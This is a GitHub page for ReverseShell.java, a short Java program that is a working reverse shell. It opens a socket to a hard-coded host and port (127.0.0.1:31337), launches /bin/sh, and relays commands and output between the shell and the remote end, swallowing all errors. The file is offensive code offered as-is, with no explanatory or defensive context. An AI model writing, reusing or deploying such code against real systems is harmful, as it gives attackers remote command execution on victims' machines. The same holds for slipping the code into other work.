-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathReverseShell.java
More file actions
79 lines (57 loc) · 1.58 KB
/
Copy pathReverseShell.java
File metadata and controls
79 lines (57 loc) · 1.58 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import java.io.*;
import java.net.*;
class ReverseShell implements Runnable{
Socket socket;
PrintWriter socketWrite;
BufferedReader socketRead;
PrintWriter commandWrite;
BufferedReader commandRead;
String ip = "127.0.0.1";
int port = 31337;
public void run(){
spawnShell();
}
public void spawnShell(){
System.out.println("---starting shell---");
try{
Runtime rt = Runtime.getRuntime();
Process p = rt.exec("/bin/sh");
InputStream readme = p.getInputStream();
OutputStream writeme = p.getOutputStream();
commandWrite = new PrintWriter(writeme);
commandRead = new BufferedReader(new InputStreamReader(readme));
commandWrite.println("ls -al");
commandWrite.flush();
String line;
while((line = commandRead.readLine()) != null){
socketWrite.println(line);
socketWrite.flush();
}
p.destroy();
}catch(Exception e){}
}
public void establishConnection(){
try{
socket = new Socket(ip,port);
socketWrite = new PrintWriter(socket.getOutputStream(),true);
socketRead = new BufferedReader(new InputStreamReader(socket.getInputStream()));
socketWrite.println("---Connection has been established---");
socketWrite.flush();
}catch(Exception e){}
}
public void getCommand(){
String foo;
try{
while((foo=socketRead.readLine())!= null){
commandWrite.println(foo);
commandWrite.flush();
}
}catch(Exception e){}
}
public static void main(String[] args){
ReverseShell shell = new ReverseShell();
shell.establishConnection();
new Thread(shell).start();
shell.getCommand();
}
}